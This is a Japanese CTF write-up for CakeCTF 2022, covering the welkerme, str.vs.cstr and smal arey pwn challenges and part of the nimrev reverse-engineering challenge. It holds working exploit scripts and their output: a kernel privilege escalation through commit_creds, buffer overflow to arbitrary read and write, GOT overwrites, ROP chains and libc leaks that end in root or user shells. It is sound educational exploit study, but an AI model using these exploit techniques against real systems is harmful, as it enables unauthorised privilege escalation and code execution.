CakeCTF 2022 Writeup

はじめに

R0nwizardleyというチームで参加し,107/713位でした.

いろいろタスクを積んでいたせいであまり集中して取り組めないうちにCTFが終了してしまったため, 多少の後悔があり,終わった後もしばらく問題を解き続けてしまった. 時間中に解いた問題が少なすぎるため,追加で解いた問題のWriteupも書く.

  • welkerme
  • str.vs.cstr
  • smal arey
  • nimrev
  • frozen cake
  • brand new crypto

pwn

welkerme

お,キャンプでやったカーネル問だ,となり意気揚々と取り組んだ. ちょうどPawnyableに取り組んでいたものの,実際のカーネル問にCTFで取り組んだことがなかったため,リモートエクスプロイトを体験するよい機会であった.

今回は,ioctlを利用することで,カーネル内でioctlの引数に渡した関数を実行できるため,サンプルのexploit.c内のfunc関数内で権限昇格できるようなコードを書く.

問題で実装されているカーネルモジュールは以下の通りで,引数に渡されたコマンドID( cmd )により, arg を利用した決まった処理を実行する. CMD_ECHO はargを出力するだけなため,func関数をカーネル内で実行するためには,ioctlの引数に CMD_EXEC を指定する必要がある.

#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("welkerme - CakeCTF 2022");

#define DEVICE_NAME "welkerme"
#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

...
static long module_ioctl(struct file *filp,
			 unsigned int cmd,
			 unsigned long arg) {
  long (*code)(void);
  printk("'module_ioctl' called with cmd=0x%08x\n", cmd);

  switch (cmd) {
    case CMD_ECHO:
      printk("CMD_ECHO: arg=0x%016lx\n", arg);
      return arg;

    case CMD_EXEC:
      printk("CMD_EXEC: arg=0x%016lx\n", arg);
      code = (long (*)(void))(arg);
      return code();

    default:
      return -EINVAL;
  }
}
...

Linuxでは, commit_creds を使用した権限昇格がよく利用されているようで,今回もそれを利用して権限昇格を行う.

commit_creds (https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L447) は,引数に与えられた cred 構造体の内容を現在のプロセスに適用する関数である.

そして,この関数とセットで使用される prepare_kernel_cred (https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L712)は,引数に task_struct 構造体を取り,渡された構造体の内容に即した cred 構造体を戻り値に設定する.この関数の特徴として,引数に NULL が渡された場合,initプロセスと同じ権限情報,つまりroot権限の cred を戻り値に設定する.

つまり,これらの関数を組み合わせて commit_creds(prepare_kernel_cred(NULL)) を呼び出すことができれば,権限昇格をすることができる.

しかし,このままだと commit_credsprepare_kernel_cred の関数のアドレスがわからないため,これらの関数のアドレスをローカル環境で特定してやる必要がある.

しかし,初期のままでは,uidが1337になっており,カーネル空間のアドレスを確認することができないため,Linuxの起動時に読み込まれる /etc/init.d/ 配下のファイルを見てみる. すると, S99ctf という如何にもなファイルがあるためこれを確認すると, setsid cttyhack setuidgid 1337 sh の記述があるので,1337を0に変えるとローカル環境でroot権限でシェルが起動できる.

あとはカーネルのメモリを見ればよいので,この状態で, /proc/kallsyms を確認すればよい.

/ # cat /proc/kallsyms | grep commit_creds
ffffffff81072540 T commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810726e0 T prepare_kernel_cred

以上で権限昇格に必要な関数のアドレスもわかったので,exploit.cの funccommit_creds(prepare_kernel_cred(NULL)) を記述すると以下のようになる. main では,権限昇格した状態でシェルを起動するために execl("/bin/sh", "sh", NULL) を加えている.

exploit

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

void (*commit_creds)(void*);
void *(*prepare_kernel_cred)(void *);

int func(void) {
  //  commit_creds(prepare_kernel_cred(NULL));
  commit_creds = (void*)0xffffffff81072540;
  prepare_kernel_cred = (void*)0xffffffff810726e0;
  commit_creds(prepare_kernel_cred(NULL));
  return 2;
}

int main(void) {
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ret = ioctl(fd, CMD_ECHO, 12345);
  printf("CMD_ECHO(12345) --> %d\n", ret);

  ret = ioctl(fd, CMD_EXEC, (long)func);
  printf("CMD_EXEC(func) --> %d\n", ret);

  close(fd);

  execl("/bin/sh", "sh", NULL);

  return 0;
}

ここまで順調で,あとはローカル環境で権限昇格可能なことを試してリモートに転送するだけだったのだが,ここでpythonのスクリプトでexploitを転送しようとしたせいで結構沼った.

まず,ncでサーバに接続すると, hashcash による認証を求められる.手元で画面に表示される文字列を hashcash の引数にセットして実行した結果を送信するだけでよいのだが,何故か後ろの改行文字まで含めて hashcash を実行してしまっていたせいで,pythonスクリプトからの認証が一生通らないという本質とはマジで関係ないところで詰みかけた.

流石に途中で気付き,なんとか remote_transfer を完成させ,送信すると無事exploitが転送され,フラグが取れた.

remote_transfer

from pwn import *
import time
import base64
import os
import subprocess
import re

def run(cmd):
    conn.sendlineafter(b'$ ', cmd)
    conn.recvline()

def hashcash(conn):
    conn.recvuntil('mb26 ')
    serverhash = conn.recvuntil('\n').decode().strip()
    conn.recvline()
    serverhash.strip()
    print(serverhash)
    cmd_result = subprocess.run(['hashcash', '-mb26', serverhash], capture_output=True)
    returnhash = cmd_result.stdout.decode()
    print(returnhash)
    conn.sendline(returnhash)

with open("./root/exploit", "rb") as f:
    payload = base64.b64encode(f.read())
    print(payload)

# nc pwn2.2022.cakectf.com 9999
conn = remote("pwn2.2022.cakectf.com", 9999)
# conn = process("./run.sh")

# check hashcash
hashcash(conn)

# uploader
run(b'cd /tmp')
for i in range(0, len(payload), 512):
    print(f"Uploading... {i:x} / {len(payload):x}")
    tmp_payload = b'echo "' + payload[i:i+512] + b'" >> b64exp'
    run(tmp_payload)

run(b'base64 -d b64exp > exploit')
run(b'rm b64exp')
run(b'chmod +x exploit')

conn.interactive()
$ python remote_transfer.py
b'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAOBBAAAAAAABAAAAAAAAAAKB+AAAAAAAAAAAAAEAAOAAGAEAAEQAQAAEAAAAEAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAkAEAAAAAAACQAQAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQQAAAAAAAABBAAAAA'
[+] Opening connection to pwn2.2022.cakectf.com on port 9999: Done
remote_transfer.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  conn.recvuntil('mb26 ')
remote_transfer.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  serverhash = conn.recvuntil('\n').decode().strip()
MS6ciRz8q
1:26:220903:ms6cirz8q::7S6HUI6dCOQUYr3D:0000000BQxKj

remote_transfer.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  conn.sendline(returnhash)
Uploading... 0 / ae80
Uploading... 200 / ae80
Uploading... 400 / ae80
Uploading... 600 / ae80
...
Uploading... a400 / ae80
Uploading... a600 / ae80
Uploading... a800 / ae80
Uploading... aa00 / ae80
Uploading... ac00 / ae80
Uploading... ae00 / ae80
[*] Switching to interactive mode
/tmp $ $ ls -al
ls -al
total 68
drwxrwxrwt    2 root     root           100 Sep  3 16:19 .
drwxr-xr-x   14 root     root           340 Aug 28 05:37 ..
-rwxr-xr-x    1 1337     1337         33504 Sep  3 16:19 exploit
-rw-r--r--    1 root     root         27685 Sep  3 16:19 messages
-rw-r--r--    1 root     root           149 Sep  3 16:19 resolv.conf
/tmp $ $ ./exploit
./exploit
CMD_ECHO(12345) --> 12345
CMD_EXEC(func) --> 2
/tmp # $ id
id
uid=0(root) gid=0(root)
/tmp # $ cat /root/flag.txt
cat /root/flag.txt
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

str.vs.cstr

問題

#include <array>
#include <iostream>

struct Test {
  Test() { std::fill(_c_str, _c_str + 0x20, 0); }
  char* c_str() { return _c_str; }
  std::string& str() { return _str; }

private:
  __attribute__((used))
  void call_me() {
    std::system("/bin/sh");
  }

  char _c_str[0x20];
  std::string _str;
};

int main() {
  Test test;

  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "1. set c_str" << std::endl
	    << "2. get c_str" << std::endl
	    << "3. set str" << std::endl
	    << "4. get str" << std::endl;

  while (std::cin.good()) {
    int choice = 0;
    std::cout << "choice: ";
    std::cin >> choice;

    switch (choice) {
      case 1: // set c_str
	std::cout << "c_str: ";
	std::cin >> test.c_str();
	break;

      case 2: // get c_str
	std::cout << "c_str: " << test.c_str() << std::endl;
	break;

      case 3: // set str
	std::cout << "str: ";
	std::cin >> test.str();
	break;

      case 4: // get str
	std::cout << "str: " << test.str() << std::endl;
	break;

      default: // otherwise exit
	std::cout << "bye!" << std::endl;
	return 0;
    }
  }

  return 1;
}

問題を読むと,CのstrかC++のstrの入力と出力ができる.

とりあえず,それぞれの変数に値を入れたときの挙動を確認するため, cstra*10 , strb*10 を入れてgdbでスタックを見てみると,

0x00007fffffffdb70│+0x0000: 0x00007fffffffdb90  →  0x0000000000000000    ← $rsp
0x00007fffffffdb78│+0x0008: 0x000000020040160a
0x00007fffffffdb80│+0x0010: "aaaaaaaaaa"
0x00007fffffffdb88│+0x0018: 0x0000000000006161 ("aa"?)
0x00007fffffffdb90│+0x0020: 0x0000000000000000
0x00007fffffffdb98│+0x0028: 0x0000000000000000
0x00007fffffffdba0│+0x0030: 0x00007fffffffdbb0  →  "bbbbbbbbbb"
0x00007fffffffdba8│+0x0038: 0x000000000000000a ("\n"?)
0x00007fffffffdbb0│+0x0040: "bbbbbbbbbb"
0x00007fffffffdbb8│+0x0048: 0x0000000000006262 ("bb"?)

rsp+0x10 から cstr0x20 byte分, rsp+0x30str のポインタが格納されており,ここに対して文字が入力されている.

また, cstr には自明なBOFがあり, cstr'a'*0x20 を入力後に str のポインタを書き換えられるので,AAWを作ることができる.

def AAW(addr, data):
    conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
    conn.sendafter(b'c_str: ', b'a'*0x20)
    conn.sendline(pack(addr))
    conn.sendlineafter(b'choice: ', str(SET_STR).encode())
    conn.sendlineafter(b'str: ', pack(data))

セキュリティ機能は,

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

なので,GOT OverwriteでどこかしらのGOTを書き換えることで, call_me() に飛ばせば system("/bin/sh") を実行できそう.

とりあえず, call_me のアドレスを把握しておく.

$ nm -tx chall | grep call_me
00000000004016de W _ZN4Test7call_meEv

また,demangle済みのGOTを確認すると

gef➤  dq 0x404000
0x0000000000404000│+0x0000   <_GLOBAL_OFFSET_TABLE_+0000> 0x0000000000403df0
0x0000000000404008│+0x0008   <_GLOBAL_OFFSET_TABLE_+0008> 0x00007ffff7ffe190
0x0000000000404010│+0x0010   <_GLOBAL_OFFSET_TABLE_+0010> 0x00007ffff7fe7bc0
0x0000000000404018│+0x0018   <std::basic_istream<char,+0000> 0x0000000000401030
0x0000000000404020│+0x0020   <std::istream::operator>>(int&)@got.plt+0000> 0x0000000000401040
0x0000000000404028│+0x0028   <std::__cxx11::basic_string<char,+0000> 0x0000000000401050
0x0000000000404030│+0x0030   <system@got.plt+0000> 0x0000000000401060
0x0000000000404038│+0x0038   <__cxa_atexit@got.plt+0000> 0x00007ffff7c06de0
0x0000000000404040│+0x0040   <std::basic_ostream<char,+0000> 0x0000000000401080
0x0000000000404048│+0x0048   <std::basic_ostream<char,+0000> 0x0000000000401090
0x0000000000404050│+0x0050   <std::ostream::operator<<(std::ostream&+0000> 0x00000000004010a0
0x0000000000404058│+0x0058   <__stack_chk_fail@got.plt+0000> 0x00000000004010b0
0x0000000000404060│+0x0060   <std::basic_istream<char,+0000> 0x00000000004010c0
0x0000000000404068│+0x0068   <std::__cxx11::basic_string<char,+0000> 0x00000000004010d0
0x0000000000404070│+0x0070   <setbuf@got.plt+0000> 0x00000000004010e0
0x0000000000404078│+0x0078   <std::ios_base::Init::Init()@got.plt+0000> 0x00007ffff7e880f0
...

こんな感じで, cout あたりのGOTを書き換えることができれば,深いことは考えずに call_me が呼べそうなので, basic_ostream0x404048 を書き換える対象とする. (このとき, 0x404040basic_ostream なのだが,こっちではうまくいかない(こっちは cout ではない?)) .

あとは上記のAAWで 0x404048call_me に書き換えれば,GOT Overwrite後に勝手に call_me が呼ばれてシェルが起動する.

solver

import sys
from pwn import *

SET_CSTR = 1
GET_CSTR = 2
SET_STR = 3
GET_STR = 4

system_main = 0x4016de

cout_got = 0x404048

bin_file = './chall'
context(os = 'linux', arch = 'amd64')

binf = ELF(bin_file)

# nc pwn1.2022.cakectf.com 9003
conn = remote('pwn1.2022.cakectf.com', 9003)
# conn = process(bin_file)

def AAW(addr, data):
    conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
    conn.sendafter(b'c_str: ', b'a'*0x20)
    conn.sendline(pack(addr))
    conn.sendlineafter(b'choice: ', str(SET_STR).encode())
    conn.sendlineafter(b'str: ', pack(data))


AAW(cout_got, system_main)

conn.interactive()
$ python solve.py
[*] '/home/mc4nf/ctf/cakectf/2022/pwn/str_vs_cstr/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pwn1.2022.cakectf.com on port 9003: Done
[*] Switching to interactive mode
$ ls
chall
flag-ba2a141e66fda88045dc28e72c0daf20.txt
$ cat flag*
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}

CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}

ということでフラグにHW1, HW2として何か書いてるのでHWってハードウェア?とか思いながら読んでみると(多分ハローワーク)もっと難しくしてやってみてねみたいなことが書いてある.ということで宿題を出されてしまったので……やります.

HW1

Test の中から以下のように call_me を取り除く.さようなら…… call_me….

...
   struct Test {
     Test() { std::fill(_c_str, _c_str + 0x20, 0); }
     char* c_str() { return _c_str; }
     std::string& str() { return _str; }

   private:
     char _c_str[0x20];
     std::string _str;
   };
 ...

PIEを無効にしてコンパイル.

$ g++ -no-pie main2.cpp -o chall2
$ checksec chall2
[*] '/home/mc4nf/ctf/cakectf/2022/pwn/str_vs_cstr/chall2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

これで call_me がなくなったため,自力で system('/bin/sh') を召喚する必要がある. でも,AAWを作れたのと同様に,stringの構造を使ってAARも作ることができるため,libcのアドレスリークは簡単にできそう.

いろいろ手を動かして調べた結果, string 型は以下のような32byteの構造をしており,16byte以上の入力があった場合に別途領域が確保され,pointerがそっちの領域を指すようになる.

cin の場合は単純にpointerを書き換えればよかったが, cout の場合は,pointerの下のsizeの分だけpointerの領域から読み込みが行われるため,読み出したいサイズをsizeに書き込む必要がある.

|---------|
| pointer | 8 byte
|---------|
|  size   | 8 byte
|---------|
|   buf   | 16 byte
|         |
|---------|

よって,AAWのときと同様にc_strのBOFを利用して,pointerとsizeを設定することで,AARを実装することができる.

def AAR(addr):
    size = 0x8
    payload = b'a'*0x20
    payload += pack(addr)
    payload += pack(size)
    conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
    conn.sendlineafter(b'c_str: ', payload)
    conn.sendlineafter(b'choice: ', str(GET_STR).encode())
    conn.recvuntil(b'str: ')
    res = unpack(conn.recv(0x8))
    print("0x{:08x}".format(res))
    return res

AARが作れたので,あとはGOTからlibcのアドレスリークをして,one_gadgetのアドレスをcoutのGOTに投げればよい.

main突入時点で setbuf のアドレスが解決されているため,これを利用してlibcのベースアドレスを計算する.

あとは,one_gadgetに飛ばしてオワリ!wのはずだったのだがうまくいかないのでGOTに pop ... pop... pop ... のガジェット仕込んで, a でパディングしていたところに system('/bin/sh') を召喚するROPを挿入して, cout からROPが発火するようにしたらうまくいった.

import sys
from pwn import *

SET_CSTR = 1
GET_CSTR = 2
SET_STR = 3
GET_STR = 4

context(os = 'linux', arch = 'amd64')

elfname = './chall2'
chall = ELF(elfname)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

# nc pwn1.2022.cakectf.com 9003
# conn = remote('pwn1.2022.cakectf.com', 9003)
conn = process(elfname)

def AAR(addr):
    size = 0x8
    payload = b'a'*0x20
    payload += pack(addr)
    payload += pack(size)
    conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
    conn.sendlineafter(b'c_str: ', payload)
    conn.sendlineafter(b'choice: ', str(GET_STR).encode())
    conn.recvuntil(b'str: ')
    res = unpack(conn.recv(0x8))
    print("0x{:08x}".format(res))
    return res


def AAW(addr, data):
    payload = pack(pop_rdi)
    payload += pack(sh_symbol)
    payload += pack(system_libc)
    payload += b'a'*0x8
    payload += pack(addr)
    payload += pack(0x8)
    conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
    conn.sendlineafter(b'c_str: ', payload)
    conn.sendlineafter(b'choice: ', str(SET_STR).encode())
    conn.sendlineafter(b'str: ', pack(data))


setbuf_got = chall.got['setbuf']
setbuf_libc = libc.functions['setbuf'].address

setbuf_addr = AAR(setbuf_got)
libc_base = setbuf_addr - setbuf_libc
print("libc_base = 0x{:08x}".format(libc_base))

cout_got = 0x404040
pop_rdi = 0x4017f3
pop_pop_pop = 0x4017ee
sh_symbol = next(libc.search(b'/bin/sh')) + libc_base
system_libc = libc.functions['system'].address + libc_base
print("sh_symbol = 0x{:08x}".format(sh_symbol))

AAW(cout_got, pop_pop_pop)

conn.interactive()
$ python solve2.py
[*] '/home/mc4nf/ctf/cakectf/2022/pwn/str_vs_cstr/chall2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './chall2': pid 72967
0x7f118be20ad0
libc_base = 0x7f118bd95000
sh_symbol = 0x7f118bf495bd
[*] Switching to interactive mode
$ ls
chall  chall2  main2.cpp  main.cpp  solve2.py  solve.py

HW2

under construction…

smal arey

終了1時間前くらいに確認して,なんかスタックがズレてることは確認したものの,特に何も思いつかなかったのでそのまま終了した.

が,月曜日に突然 size の大きさを書き換えられることに気づいてしまい,急いで解いた(遅い).

問題

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

int main() {
  long size, index, *arr;

  printf("size: ");
  if (scanf("%ld", &size) != 1 || size < 0 || size > 5)
    exit(0);

  arr = ARRAY_NEW(size);
  while (1) {
    printf("index: ");
    if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
      exit(0);

    printf("value: ");
    scanf("%ld", &arr[index]);
  }
}

__attribute__((constructor))
void setup(void) {
  alarm(180);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

これを見ると, size <= 5 までの size を入力し, long[size] の配列を作成することができるプログラムのようである. その後は alloca によりスタック上に確保された配列の indexvalue を指定し,値を格納することができる.

とりあえず,脆弱性がわからないので,gdbでうろうろすると, size = 5 のときに, arr[4] の値が size が格納されている領域が被っていることに気づく.

size = 5 のときの index の入力前

gef➤  dps
0x00007fffffffdba0│+0x0000: 0x0000000000401380  ← $rsp
0x00007fffffffdba8│+0x0008: 0x00007ffff7ffe190
0x00007fffffffdbb0│+0x0010: 0x0000000000000003
0x00007fffffffdbb8│+0x0018: 0x00000000004011fa
0x00007fffffffdbc0│+0x0020: 0x0000000000000005  // size = 5
0x00007fffffffdbc8│+0x0028: 0x00000000004010d0
0x00007fffffffdbd0│+0x0030: 0x00007fffffffdba0  // arr = 0x00007fffffffdba0
0x00007fffffffdbd8│+0x0038: 0x5735d60ff465aa00  // canary
0x00007fffffffdbe0│+0x0040: 0x0000000000000000   ← $rbp

size = 5 index = 4 value = 0x255 の入力後

0x00007fffffffdba0│+0x0000: 0x0000000000401380  // arr[0]← $rsp
0x00007fffffffdba8│+0x0008: 0x00007ffff7ffe190  // arr[1]
0x00007fffffffdbb0│+0x0010: 0x0000000000000003  // arr[2]
0x00007fffffffdbb8│+0x0018: 0x00000000004011fa  // arr[3]
0x00007fffffffdbc0│+0x0020: 0x00000000000000ff  // arr[4] = 255 size = 255
0x00007fffffffdbc8│+0x0028: 0x0000000000000004  // index = 4
0x00007fffffffdbd0│+0x0030: 0x00007fffffffdba0  // arr = 0x00007fffffffdba0
0x00007fffffffdbd8│+0x0038: 0x5735d60ff465aa00  // canary
0x00007fffffffdbe0│+0x0040: 0x0000000000000000   ← $rbp

value の入力前後を見てみると, arr[4]size のアドレスが同じであるため, size を書き換え可能である. このため, size を大きな値に書き換えると, arr の範囲外参照が可能となる.

ここで, arr のアドレスからの indexvalue を代入していることから, arr の格納されている領域 ( arr[6] に該当) に値を書き込みたいアドレスに書き換え, index = 0 を指定すると,一度限りの AAW が可能である.

あとは,配布されたlibcから one gadegetを探して飛ばせばよい. libcのアドレスがわからないため,ROPから printf(printf) をすることで, printf のアドレスを漏洩させ,libc leakを考える.

これで早速リターンアドレスを書き換えてROPに持ち込もうとしたら,リターンアドレスがない!!!

びっくりしましたが,よくソースコードを見ると確かにreturnがない. ということでよくソースコードを見ると,Partial RELROなため,GOTが書き換え可能であり,好きなタイミングで呼びだせる exit があやしい.

先程説明したAAWを利用することで,GOT Overwriteが可能なため, exit のGOTをROP chainに繋げることで,ROPの発火が可能そう.

GOT OverwriteからROPに繋げる方法として, call 命令によりスタックに積まれる rip を無視する必要があるので,GOTに pop ret のガジェットのアドレスをあげればうまく rsp のアドレスに配置したガジェットに繋がる. pop の回数を増やすと, rsp からのオフセットを増やせるため,結構融通が効く.

printf(printf) でlibc leakをしたら,もう一度AAWで exit のGOTを one gadgetに書き換えたいので,ROPで main に飛ばす.

地味なハマりポイントとして, main の頭に飛ばしてしまうと, push rbp により,スタックがズレるので注意.気づくまでそこそこ沼った.

push rbp の次のアドレスに無事に飛ばせると,先程と同様の操作でAAWで exit のGOTを one gadgetに書き換えて exit を実行させるとシェルが取れる.

ちなみに,スタックがズレる理由はマクロにあるようで,

#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

(long*)alloca(n + 1*sizeof(long)))

と展開されるため十分な領域が確保されなかったのが問題らしい. ( size = 5 で32 byteが確保されてるのはアライメントの問題?)

とりあえず,実験のため以下のような簡単なプログラムを書いて, alloca(8)alloca(9) のスタックの状態を比較する.

#include<stdio.h>

int main(){

  long *arr = (long*)alloca(8);

  return 0;
}

alloca(8) のとき

0x00007fffffffdbc0│+0x0000: 0x0000000000000000  // arr[0] ← $rsp
0x00007fffffffdbc8│+0x0008: 0x0000000000401050  // arr[1]
0x00007fffffffdbd0│+0x0010: 0x00007fffffffdbc0  // arr
0x00007fffffffdbd8│+0x0018: 0xf95e69f73f01ac00
0x00007fffffffdbe0│+0x0020: 0x0000000000000000   ← $rbp

alloca(9) のとき

0x00007fffffffdbb0│+0x0000: 0x00007ffff7fae2e8  // arr[0] ← $rsp
0x00007fffffffdbb8│+0x0008: 0x0000000000401200  // arr[1]
0x00007fffffffdbc0│+0x0010: 0x0000000000000000  // arr[2]
0x00007fffffffdbc8│+0x0018: 0x0000000000401050  // arr[3]
0x00007fffffffdbd0│+0x0020: 0x00007fffffffdbb0  // arr
000      ← $rcx
0x00007fffffffdbd8│+0x0028: 0xf5befdf7c3de9700
0x00007fffffffdbe0│+0x0030: 0x0000000000000000   ← $rbp

これ最初はなんで9byteの領域を確保した瞬間 32byteも確保されたのかなとか考えてたけど, x86-64において, rsp は16byteでアラインされることが原因ぽい.

何故9byte目で最初のアラインが発生するのかよくわからないが,その後は25byte目でアラインされることを確認したので, alloca により確保された一番高位の8byteは使用されないようになってるぽい.

|--------------| <- 元のrsp
|  使用されない  |
|--------------|
|    arr[0]    |
|--------------| <- rsp
|              |

つまり,問題では size = 5 のとき, alloca(48) を実行するつもりがマクロのミスにより, alloca(13) が実行された結果,アライメントを考慮すると32byteの領域が確保されており, arr[4] で範囲外参照が発生して,それが偶然 size の変数だった,というのが筋書きだったらしい.なるほど.

solver

from pwn import *

bin_file = './chall'
context(os = 'linux', arch = 'amd64')

binf = ELF(bin_file)

## nc pwn1.2022.cakectf.com 9002
conn = remote('pwn1.2022.cakectf.com', 9002)
# conn = process(bin_file)
# conn = gdb.debug(bin_file,'''
# b *0x4013e3
# c
# c
# b *0x401090
# ''')

def overwrite(index, value):
    conn.sendlineafter(b'index: ', str(index).encode())
    conn.sendlineafter(b'value: ', str(value).encode())


def AAW(addr, data):
    overwrite(6, addr)
    overwrite(0, data)


## size = 5
conn.sendlineafter(b'size: ', b'5')

## size = 10000
overwrite(4, 10000)

## ROP gadget
exit_got = 0x404038
printf_got = 0x404020
printf_plt =  0x401090
main = 0x4011bb
pop_rdi_ret = 0x4013e3

## ROP chain
overwrite(0, pop_rdi_ret)
overwrite(1, printf_got)
overwrite(2, printf_plt)
overwrite(3, main)

## ignite ROP chain
AAW(exit_got, pop_rdi_ret)
conn.sendlineafter(b'index: ', b'-1')

## libc leak
printf_offset = 0x61c90
printf_libc = unpack(conn.recv(6), 'all')
libc_base = printf_libc - printf_offset
print('libc_base = 0x{:0x}'.format(libc_base))

## size = 5
conn.sendlineafter(b'size: ', b'5')

## size = 10000
overwrite(4, 10000)

## jmp one_gadget
# one_gadget_offset = 0xe3afe
one_gadget_offset = 0xe3b01
one_gadget_libc = libc_base+one_gadget_offset

AAW(exit_got, one_gadget_libc)
conn.sendlineafter(b'index: ', b'-1')


conn.interactive()
$ python solve.py
[*] '/home/mc4nf/ctf/cakectf/2022/pwn/smal_arey/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pwn1.2022.cakectf.com on port 9002: Done
libc_base = 0x7faa43604000
[*] Switching to interactive mode
$ ls
chall
flag-c665afc224a93b0c2e4cf82abfedf180.txt
$ cat flag*
CakeCTF{PRE01-C. Use parentheses within macros around parameter names}

CakeCTF{PRE01-C. Use parentheses within macros around parameter names}

rev

nimrev

とりあえず,適当に実行してみると,何か入力すると Wrong... と表示されてプログラムが終了する.

$ ./chall
aaaa
Wrong...

gdbでうろうろしてみたけどなんかよくわからなかったので,スーパー静的解析ツールであるGhidraを頼ってみる.

Ghidraで見てみると, main -> NimMain -> NimMainInner -> NimMainModule の順に呼ばれており, NumMainModule の中にあやしい記述がたくさんあるのでここを解析してみる.

…というか実はGhidraくんが賢いので,負の値を表示してくれており,これに1を足して符号をひっくり返したものがフラグぽいことはすぐにわかった.が,なんだか釈然としないのでちゃんと解析する.

まず, NimMainModule では,ユーザからの入力を受け取った後,何かの配列に特定の値を入力している. その後,その配列を引数にした map_main_11 という関数が呼ばれ,その戻り値と入力された文字列が比較され,等しければ Correct! ,そうでなければ Wrong... が表示されるようである.

そこで,それぞれの関数について,変数名を直しつつデコンパイラ結果を見やすくしてみた.

void NimMainModule(void)

{
  bool isCorrect;
  char *input_str;
  char *key;
  char *flag;
  long in_FS_OFFSET;
  func *colonanonymous_addr;
  undefined8 local_20;
  char *output_str;
  long canary;
  undefined8 len;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  nimZeroMem(&output_str,8);
  input_str = (char *)readLine_systemZio_271(stdin);
  key = (char *)newSeq(NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_,0x18);
  key[0x10] = -0x44;
  key[0x11] = -0x62;
  key[0x12] = -0x6c;
  key[0x13] = -0x66;
  key[0x14] = -0x44;
  key[0x15] = -0x55;
  key[0x16] = -0x47;
  key[0x17] = -0x7c;
  key[0x18] = -0x74;
  key[0x19] = -0x31;
  key[0x1a] = -0x6e;
  key[0x1b] = -0x34;
  key[0x1c] = -0x75;
  key[0x1d] = -0x32;
  key[0x1e] = -0x6e;
  key[0x1f] = -0x34;
  key[0x20] = -0x74;
  key[0x21] = -0x60;
  key[0x22] = -0x6f;
  key[0x23] = -0x31;
  key[0x24] = -0x75;
  key[0x25] = -0x60;
  key[0x26] = -0x44;
  key[0x27] = -0x7e;
  nimZeroMem(&colonanonymous_addr,0x10);
  colonanonymous_addr = colonanonymous__main_7;
  local_20 = 0;
  if (key == (char *)0x0) {
    len = 0;
  }
  else {
    len = *(undefined8 *)key;
  }
  flag = (char *)map_main_11(key + 0x10,len,colonanonymous__main_7,0);
  if (flag == (char *)0x0) {
    len = 0;
  }
  else {
    len = *(undefined8 *)flag;
  }
  len = join_main_42(flag + 0x10,len,0);
  isCorrect = (bool)eqStrings(input_str,len);
  if (isCorrect == true) {
    output_str = (char *)copyString(&CORRECT!);
  }
  else {
    output_str = (char *)copyString(&WRONG...);
  }
  echoBinSafe(&output_str,1);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

ここで,解析してわかったこととして,Nimでは,文字列の配列の冒頭 0x10 分は文字列として使用されておらず,特に冒頭の char[0] に相当する部分は文字列の長さが格納されているようである. 上記は Correct!Wrong... の文字列が格納されていた配列で,どちらも文字列の長さが 0x8 byteなので, char[0] には 0x8(\b) が格納されている.

